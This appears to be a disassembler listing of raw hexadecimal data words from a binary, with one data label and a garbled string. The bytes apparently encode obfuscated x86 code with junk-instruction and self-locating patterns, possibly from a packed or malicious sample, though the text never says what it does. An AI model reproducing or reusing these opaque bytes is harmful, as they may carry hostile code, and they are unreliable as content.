0BD89937Bh, 6441CB1h, 0DEC1E768h dd 24348152h, 52C1C218h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0DC35747h, 99F9614Ah, 0B73FD324h, 12E905h dd 0DE6B0000h, 910F765h, 8C0E41A5h, 3F3E9766h, 4720BF88h dd 0B760858Dh, 6A0647h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 7A3F60C3h, 2AB5BD8Bh, 12E80644h dd 0FD000000h, 16FE567Fh, 0EA7E2040h, 4EB48736h, 2EEBE760h dd 0FE961h, 36AC0000h, 259CAD61h, 23684FF4h, 8B1F0B5Fh dd 50505B2Ch, 13E952h, 1FAF0000h, 40379BCFh, 0EB394D3Bh dd 20732C8h, 55E828EFh, 5A310FBBh, 24048958h, 8195FFF8h dd 6A064400h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0DC12C353h, 4D6C90CBh, 840F23D4h dd 15h, 10E9h, 27098200h, 38542EB4h, 1B81213Dh, 7FFFC583h dd 80F56138h, 85C7D2DFh, 6441071h, 3, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0C0C35141h, 2E08A1F0h, 0D59D0B50h dd 5B064430h, 0B760BD83h, 0F000647h, 5584h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 3CC484Eh, 0EB4C5AD7h, 0C5BD8BDDh, 0E906442Ch, 41h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0EDC35545h, 0FB2B2F81h dd 29E98D89h, 30500644h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 0F78166C0h, 8D897C3Eh, 64403EDh dd 1071BD83h, 0F030644h, 42085h, 0D8B70F00h, 8D895752h dd 64433CDh, 0BD835B5Fh, 647B760h, 6840F00h, 6A000004h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 4465C357h, 5403DB23h, 42A3677Fh, 23899D89h dd 0BB660644h, 8D0FFBFBh, 6, 156D9D0Bh, 0B5FF0644h, 647B760h dd 7DD1BFF5h, 95FF5849h, 6440699h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0C7C35141h, 5227477Eh, 6695A3F0h dd 6A2FE381h, 3A98589h, 0B58B0644h, 647B754h, 5F21BF66h dd 18EDBD8Bh, 6C70644h, 10001h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0EBC35040h, 947905FFh, 8B667044h dd 6096F8DEh, 9E76BB60h, 525039FCh, 585A310Fh, 613FB361h dd 6A9650h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 1FF3E9C3h, 0FC83C423h, 17A625Eh, 441EB585h dd 6830F06h, 3000000h, 442471BDh, 60B5FF06h, 0F0647B7h dd 581h, 57F86000h, 95FF615Eh, 6441E01h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 14h, 60C35646h, 8BD88B66h dd 47B754B5h, 5760F806h, 58F38B66h, 1501BD89h, 8B610644h dd 442E7185h, 0D98B6606h, 0C48689h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 89B9BFC3h dd 4410818Dh, 118D0906h, 8B06441Dh, 442F5D95h, 83D98B06h dd 870F04C2h, 6, 830Fh, 0D3810000h, 75B71D9h, 56205089h dd 8DF95BF5h, 47CAA085h, 85950906h, 8906441Fh, 0B886h dd 13E900h, 0CD370000h, 7F85C2AEh, 67CA456Eh, 62EC2544h dd 4756C630h, 0CE88Fh, 0AEAF0000h, 72CE29CCh, 0E1C98A64h dd 8589EE08h, 6440285h, 33006A5Fh, 4433B19Dh, 0FE906h dd 6B5B0000h, 9194F4CCh, 0E4F8928Eh, 0BD03D24Ah, 60B5FF1Ch dd 6A0647B7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 13DC350h, 0A99D8BCDh, 0FF064406h dd 44296D95h, 2DBD0906h, 9606442Ah, 96D88B50h, 1A51BD31h dd 0B5FF0644h, 647B760h, 212DB529h, 8C0F0644h, 1, 0D995FFF5h dd 6A064417h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 12A4C357h, 14B5BD83h, 0F000644h dd 8684h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 1FDBCF5Fh, 2CB19D8Bh, 60960644h dd 2850Fh, 61600000h, 10E860h, 0D9630000h, 9F2DD4F7h, 0AEC1328Ah dd 0D25BA30Eh, 0E85A8ECAh, 0Ah, 2B3C782Ch, 0A50C35B6h dd 615E3D16h, 0F605061h, 28Fh, 0E8595600h, 14h, 0DC922A80h dd 0F75D434Bh, 0CC362178h, 0CA311FD1h, 5B85AABh, 61585E51h dd 919D3396h, 0FF06442Eh, 47B760B5h, 0FFDE8B06h, 442E7D95h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0E91FC84Eh db 0Eh, 0 word_587A56 dw 0 ; DATA XREF: ___:off_42C440o dd 242FB436h, 3D9DD999h, 258D47F4h, 0B5FFD59Bh, 647B760h dd 0F91B589h, 95FF0644h, 6441441h, 2E259D8Bh, 0BD830644h dd 6440A85h, 6B840F02h, 0E9000000h, 7, 0BA66B99Fh, 8B3AE590h dd 44159185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 5EBF86D3h, 9D8B0643h, 64424B5h, 6A0000C6h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0DA11C352h, 0AC40B2F5h, 0FA13104h, 58Fh dd 0E7816600h, 85C786C7h, 6441759h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 4AC35646h dd 0F2DAE9EDh, 2B60FFFFh, 4432BDBDh, 61605206h, 9D33615Fh dd 64421E9h, 0FE9C18Bh, 0F3000000h, 2F574C66h, 389E0DA1h dd 7ABEEB57h, 858DA021h, 6441BE1h, 1FC18589h, 0DE90644h dd 0D0000000h, 0ACC2BF5Ah, 0AAF6110Eh, 1B28B887h, 50DE8B90h dd 8990D98Bh, 441475BDh, 6A006A06h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0E6126DF6h dd 0A35ADC73h, 98B0FC7h, 0F000000h, 38Bh, 0FFBF0F00h, 0B69D858Dh dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0F23197C3h, 819D01ECh, 8306440Ch, 6A05C0h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 69586BC3h, 0C642971Ah, 0F9B70F50h, 50D9B70Fh, 2830F60h dd 60000000h, 68D0F61h, 0F000000h, 85h, 4896100h, 81666024h dd 0BA2E82CEh, 7299AAD2h, 6A006A61h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0EE27C350h dd 949BD8Bh, 6A0644h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 21C35242h, 0B58904E8h, 6442C81h, 6E9h dd 0BFF2E200h, 0FF56FDEAh, 44182595h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0EE6D5AEEh, 0B63847B9h, 0F9BD8B14h, 8B06440Fh, 442BBD9Dh dd 978D8D06h, 6A06479Ah, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0F655C351h, 0B589D1FFh dd 64402E5h, 1FC1BD33h, 0BD830644h, 6442F11h, 54850F01h dd 66000000h, 26AD98Bh, 0AE8h, 25FE5700h, 7FA5C74Eh, 8B36394Eh dd 440299BDh, 50905F06h, 0F98B6060h, 0BF906161h, 667FBAA6h dd 296D95FFh, 11E80644h, 31000000h, 77A46C99h, 0B9460AE8h dd 74D5C0AFh, 75FDC3ECh, 0D1BD8957h, 5F06440Ah, 71BD8B5Bh dd 0E906442Bh, 104Dh, 0E8h, 0ED815D00h, 648B6A7h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0A3C35545h, 96A28AAFh dd 5ECA8262h, 0EBB3BB66h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 19C35040h, 572F3DC6h, 260F9A18h, 5D8589D9h dd 8D06441Ch, 478B5885h, 0F7816606h, 0F504D54h, 38Ah, 0F88B6600h dd 6A240489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 5D98C352h, 11F0D00Eh, 0E88A4060h dd 10h, 3A33CB7Dh, 0F87FBFEDh, 95CB1F4Bh, 0DA318F24h, 5BD98B66h dd 35FF64h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 4002C351h, 60A7E75Ch dd 31C19533h, 8D890644h, 6441BB9h, 79BF6661h, 25896479h dd 0 dd 0C3B5BB66h, 8E985FFh, 0ABB0644h, 6A222240h, 53006AFFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 1C009AFBh, 0E2FF921Fh, 95893AE0h, 64424ADh, 196DB5FFh dd 810F0644h, 0Dh, 8E9h, 43EEF700h, 67828196h, 8195FF0Ch dd 0E9064422h, 133h, 0E9EEB460h, 8, 1CD4284Bh, 58FB5F93h dd 0F00B061h, 178Bh, 12E900h, 202C0000h, 23C01AAh, 0F59D6146h dd 244C2DDBh, 0B112C6E4h, 952970E6h, 6442389h, 9D8B71E4h dd 6443025h, 830F613Ch, 0EBh, 4198D31h, 0B60F0644h, 0AD8D09C8h dd 0BA064425h, 6, 13E8h, 9E725800h, 0C2AECD37h, 456E7F85h dd 254467CAh, 0C63062ECh, 2E059D89h, 8B5F0644h, 658D89C1h dd 66064418h, 61BBE381h, 0E904E8C1h, 0Dh, 6975D27Ch, 69E6283Dh dd 449E608h, 0E2F7667Ch, 25299D8Bh, 0C82B0644h, 8BF9B70Fh dd 158529D1h, 0E9064429h, 7Bh, 2405BD89h, 858B0644h, 8 dd 2289BD8Bh, 0C0830644h, 2890F07h, 8B000000h, 0C083FAh dd 28E59D89h, 0D03B0644h, 18830Fh, 0BD890000h, 6442FE1h dd 42E9h, 8E900h, 97B10000h, 0B296F2A3h, 8D8BDFA3h, 0FFFFFFFFh dd 32FDB509h, 0BF0F0644h, 1E183FFh, 1D840Fh, 0A5830000h dd 0FFFFFFFFh, 89C2B7FEh, 895h, 0D9BD0100h, 0F064430h dd 0E9D8B7h, 8D000000h, 4834BDB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8BE50CF5h dd 442AB59Dh, 0FC006A06h, 1C4D95FFh, 6A0644h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 79EAA3C3h dd 9F4505E3h, 28F0F52h, 0B3000000h, 1099B992h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 8B6663C3h, 0FCE183F9h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 69C35242h, 52006AFCh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 7BF706A9h dd 1D1D90C2h, 10619D8Bh, 0C02B0644h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0D5C35747h, 0BAh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 995AB2F7h, 8E34D847h, 0BD8BF17Fh, 6440D95h, 6E9h, 0CA01B000h dd 0F8EF721Bh, 0D1C233ADh, 83D003E8h, 0F47504E9h, 3830Fh dd 0BF0F0000h, 8B0FF8h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0E914C350h dd 2E1B6608h, 880D51h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0CED3C5C3h, 16EA5EF4h dd 0E962DB94h, 14h, 86192DD6h, 80646015h, 5B53FFC9h, 883A64E2h dd 0D108EAD0h, 2F5D958Bh, 6A0644h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 597E81C3h, 0B616AC8Ah dd 0F51EF6Ah, 1A8Bh, 14E800h, 46E60000h, 0D8532E8Dh, 81CA6770h dd 2A1D376Eh, 50657ADh, 5B5B808Ah, 6798D8Bh, 6A0644h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0B360DAC3h, 48A0Fh, 0BB660000h, 8B50DBE5h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 38C35343h, 0BA835ABCh, 895EE80Bh dd 44180585h, 3DB58906h, 8306441Dh, 442CADBDh, 840F0006h dd 81h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch dd 4CC35646h, 1A456A5h, 17A91476h, 14E960h, 0F08E0000h dd 0A8B6B44Fh, 87DA5B6Bh, 0BA1AFAE8h, 0E837D3DCh, 81668CCAh dd 61BF45C2h, 0B8h, 0A1BD8B00h, 0F064417h, 182h, 8D8DF800h dd 6444E55h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 4C35545h, 0E1FF49B3h, 5FEF8166h, 71BD839Dh, 64410h dd 52E840Fh, 83F50000h, 441071BDh, 840F0106h, 53Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0B1C35646h, 0AE9h dd 7F869300h, 2EB586B9h, 83470ACBh, 441071BDh, 860F0306h dd 4CDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 44C35646h, 6A6049h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0AAC5C4C3h, 6196E3B4h dd 0CD03BB0Dh, 8C661752h, 148C0FD9h, 0E9000000h, 0Fh, 90376B74h dd 0CF4ABBB8h, 0D35ECF9Ch, 801A9559h, 6A04E1h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0A52E67C3h, 4C2A7E0h, 816664FFh, 0FF568E3h, 289h, 0ADC8A00h dd 46840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 85CAC355h, 14A59D8Bh dd 858B0644h, 6440AD5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 9C35242h, 3BD8533h, 6A0644h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 4A260C3h, 0B576F0DFh, 9E81Eh, 81940000h, 0E46BD310h dd 8BE110DFh, 441F299Dh, 81665B06h, 5083AFC7h, 0FE951h dd 39980000h, 0D9415608h, 0E1CF4535h, 8A71E796h, 4895F74h dd 6AF98B24h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0C5B501F4h, 8B064418h, 441035BDh dd 13BF6806h, 0AE9EAF9h, 0F000000h, 0DCB35FDBh, 98ECBB9Ah dd 2404814Bh, 1525F040h, 0E9A1CB80h, 0Ch, 507B9DB7h, 60611314h dd 550A01F0h, 8195FFh, 6A0644h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 786E88C3h, 4149BD9Eh dd 85895BCAh, 647B760h, 1DFDB589h, 0CE90644h, 50000002h dd 25398529h, 295F0644h, 4413B59Dh, 58858B06h, 6A0647B7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 88BCC355h, 3D9C732h, 89983452h, 44182995h dd 0E8CCB306h, 5, 207BCDB2h, 0C75FF8E3h, 1800h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 3902E183h, 0F972B572h, 20859D8Bh, 0B58B0644h, 647B75Ch dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 16C35242h dd 57A75B36h, 0F041AF20h, 34DBD8Bh, 858B0644h, 644300Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D8C35545h dd 0EA2164DFh, 3A15C0EFh, 0CE8h, 12A63800h, 0F30C3B51h dd 61B2BC50h, 0DE9D1h, 0F1510000h, 0CC99D13Eh, 0BE3F0482h dd 5BBD6166h, 0C3A1A9BFh, 8B06897Bh, 440AD585h, 35858906h dd 8906441Ah, 6A0446h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 6A37F5C3h, 7CCC7356h, 0F595286h dd 8D89DFB7h, 64408E5h, 7EBB6696h, 0DE8B5076h, 559D2996h dd 0FF064425h, 47B758B5h, 80DA8B06h dd 4668ABCFh, 0E81A4183h, 6, 79A60EBh, 815BA07Ah, 80B92434h dd 6A1A5Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0C73748C3h, 8D5F5684h, 47B76085h, 54CB8106h dd 50314866h, 489FA8Bh, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0A9B11D9Ch, 0E1BB654Ah dd 5E9AD4Ah, 0B7000000h, 0CC3FE22Ch, 8195FFh, 6A0644h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0F60B1C3h, 0D8Dh, 7E800h, 36440000h, 0C4A54AE9h, 0BF0F5A1Dh dd 61F561C8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 23C35545h, 883C6772h, 0E91AF5B2h, 0Fh, 9C3546DEh dd 0F216506Dh, 0CE1E094Bh, 8B8D5399h, 4408559Dh, 0AD858906h dd 0C706442Ah, 44107185h, 306h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 3B6628BDh dd 0F6BA74FBh, 810F2D0Dh, 6, 2FA58589h, 0BD830644h, 647B760h dd 5E840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 603FC353h, 14E9EEh dd 482D0000h, 88EF62E5h, 4703BC4Fh, 0B77EB792h, 0C01BF07Ah dd 3DE98481h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 1718C356h, 497BC23h dd 0C305032h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 66F9B70Fh, 18FBD381h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 25C35141h, 0E5992836h, 11E9E5F9h dd 6D000000h, 0D56A54F0h, 54A05456h, 1D6F941Ah, 5F24E592h dd 1071BD83h, 0F030644h, 4EC85h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 76F2432Ah dd 0E37B8607h, 0C10CF381h, 0BD837994h, 647B760h, 0B6840F00h dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0E5CCC355h, 0EBEBBBFEh, 0B5FF1E4Dh dd 647B760h, 17A59529h, 95FF0644h, 6440699h, 1FB99589h dd 0B58B0644h, 647B754h, 2FED9D89h, 6C70644h, 10001h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 1FC35040h, 0D9F92145h dd 0AA246ABDh, 0D8DB817Dh, 81522E20h, 218878C3h, 5E90Dh dd 34F30000h, 5015C13Bh, 3489FB8Bh, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0BD2B36A8h dd 6440079h, 0B760B5FFh, 6A0647h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0DD975BC3h, 0DC119474h dd 1E0195FFh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 96F2A3C3h, 0E9DFA3B2h, 10h, 0C7AE781Eh dd 18475945h, 0D698B16Ah, 0D5563420h, 0B754B58Bh, 6A0647h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 226D46C3h, 97D33C40h, 1409BD89h, 858B0644h, 6442E71h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 9DC35747h dd 8B5870A3h, 7AEF80DEh, 0C48689h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 8B6740C3h dd 442F5D95h, 0C3816606h, 0C283D760h, 52006A04h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0B950160Eh, 0BE45DA41h, 7298D89h, 50890644h, 70BFF520h dd 8D687ECEh, 47CAA085h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0E74499D9h, 0A6AFEF5Fh dd 0E95777AFh, 14h, 7417D3BCh, 806756A6h, 0AF2F85F2h, 23504066h dd 0DF596D07h, 0B886895Fh, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 4A1C352h dd 0DC75D714h, 8B8C4DB4h, 4424A9BDh, 0B70F5606h, 6A5FFAh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0B9C35040h dd 0D9BFE10Bh, 0E83941ABh, 0Eh, 0AB77DD40h, 6F3D8671h dd 0DC7EBA2Ch, 0F6001F7h, 86h, 0CABF0F00h, 0B5FF5F61h dd 647B760h, 7F8FBF66h, 296D95FFh, 9D8B0644h, 64420F9h dd 92BF96F8h, 504CC23Eh, 870AFEBBh, 6E89648h, 0B8000000h dd 3EC07292h, 7E992h, 9C2B0000h, 2DA2EB8Bh, 0B5FF5F2Dh dd 647B760h, 19BD8B56h, 5F064414h, 9E9h, 0D09B5A00h, 54794527h dd 95FF786Dh, 64417D9h, 0BD8377B7h, 64414B5h, 62840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0A48C352h, 81D88BA6h, 0CB2781E3h dd 800F963Ah, 0Eh, 61605250h, 800F310Fh, 0 aZxpN0Cj db 'ZXP©ъ█0%√j',0 db 56h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 70F745EDh, 60B5FFACh, 6A0647B7h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 65FDC357h dd 0DB0E1614h, 0A8203A4Ch, 7CCC6ABBh, 0FFD88B42h, 442E7D95h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 95BD29DBh, 0FF064423h, 47B760B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0FB8BF5DBh, 144195FFh, 6A0644h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0A1DCF0C3h, 1121EDBCh dd 66514EC7h, 2B94E381h, 0A85BD83h, 0F020644h, 6B84h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 33B20230h, 4421D59Dh, 91858B06h, 0E9064415h, 13h, 93942EF4h dd 9A002837h, 93BBCA7h, 46FE06AEh, 0C67AC955h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 2D930AC3h, 6609F7F4h, 10ACD781h, 175985C7h, 644h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 14CD15C3h, 31B767Eh, 442859BDh, 0F0DDE906h, 9531FFFFh dd 64402B5h, 6AC18Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0E626D2C3h, 0E1858D8Fh, 6A06441Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 660EC353h, 0DB80D88Bh, 8B66500Ch, 240489DEh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0CDC35545h dd 1486E67Fh, 10A3FDB9h, 553DD781h, 0DA8B506Eh, 19B3006Ah dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 1ED247C3h, 0E9C2E2C1h, 0Fh, 786A591Eh, 526206DAh dd 0E7E68EFDh, 0F97B7841h, 0C90C858Dh, 6A0648h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0E96726C3h, 11h, 3A125976h, 0A2DFE6B6h, 0F2378D19h dd 317A2EA2h, 5C0835Fh, 0FAE030BBh, 0E1BB505Bh, 891A8903h dd 0F8602404h, 0E1858B57h, 5E064421h, 66006A61h, 0F98BFB8Bh dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 896050C3h, 0F27E5A7h, 48Ah, 9BBF6600h, 0FB8B663Fh dd 182595FFh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 6C4697C3h, 0A5E94ABh, 830FA47Ch dd 5, 0EEB9D5BFh, 978D8D76h, 6A06479Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0B232C352h dd 6AD1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 1BD4A5C3h, 59A90E94h, 2F11BD83h, 0F010644h dd 7185h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 3651675Dh, 2807B8BCh, 6A026Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0AB57F8C3h, 50985B91h, 0FFB70F2Bh, 0D630BF50h, 4893D85h dd 0B1BD8924h, 0FF064432h, 44296D95h, 0CE906h, 4A8F0000h dd 3FA23D6Bh, 0E7B7418Ch, 0EAE90A18h, 0E800000Ch, 0 dd 16ED815Dh, 6A0648C9h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 2C43C351h, 6860F2Eh dd 89000000h, 44084995h, 459D8906h, 8D06441Fh, 478B5885h dd 0DBBF0F06h, 0F88B6690h, 8E0F5750h, 0 dd 6A905Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0FF6469C3h, 35h, 699D2B00h, 64064419h, 2589h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 40045DC3h, 9529C9B7h, 6440C11h, 8E985FFh dd 95090644h, 644314Dh, 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 35C986C3h, 3E859BB5h dd 68A0F1Dh, 33000000h, 44225DBDh, 49B5FF06h, 6A064416h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 6749C353h, 95FFBCB7h, 6442281h, 133E9h, 14E800h dd 9AAD0000h, 400BD282h, 7ED432CFh, 3D62F336h, 24C526D3h dd 2ABB2CBFh, 5F65E634h, 8D0F00B0h, 6, 2B818D89h, 70E60644h dd 2AC99589h, 0B5890644h, 6441CE1h, 0BD8B71E4h, 6441C31h dd 830F613Ch, 0E8h, 13E99D03h, 0B60F0644h, 0EE9C8h, 0F32F0000h dd 61A7D505h, 0D5DC642Ch, 0E81A00A8h, 6BAh, 0D9B70F00h dd 0FE9C18Bh, 25000000h, 5EDB8F2h, 4904846Fh, 0EE2DBDDAh dd 0E8C1AF79h, 0F9B70F04h, 66E2F766h, 0C82BFE8Bh, 8BFB8B66h dd 9D8D89D1h, 0E9064415h, 90h, 2998589h, 858B0644h, 1 dd 0E8FEB70Fh, 13h, 88E366E0h, 0AE4F0AE3h, 0A2AF6B2Ch dd 0D1A6C9C9h, 0E91A5711h, 10h, 0ECD2FD4Eh, 0C3290B61h dd 3F4C4EA8h, 53C1D1B6h, 7C0835Fh, 31A1BD2Bh, 70BF0644h dd 8323BA62h, 816600C0h, 3B9023DBh, 0C830FD0h, 89000000h dd 441051BDh, 2AE906h, 8BF50000h, 0FFFFFF8Dh, 90EF81FFh dd 83663E4Dh, 840F01E1h, 14h, 0A583FA8Bh, 0FFFFFFFFh, 19589FEh dd 0E9000000h, 0 dd 4556B58Dh, 81660648h, 0F880FC7h, 68Eh, 850F00h, 6A000000h dd 9BD8B00h, 0FF06440Dh, 441C4D95h, 0A1952906h, 0B9064410h dd 0F59h, 0FCE183F9h, 22059529h, 6AFC0644h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 4581C357h dd 0DE8BB953h, 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0CFD71EC3h, 0A2CD83E3h, 22D38166h dd 0BA96h, 33AD0000h, 3E8D1C2h, 4E983D0h, 0BD8BF475h, 6440301h dd 0E856006Ah, 3, 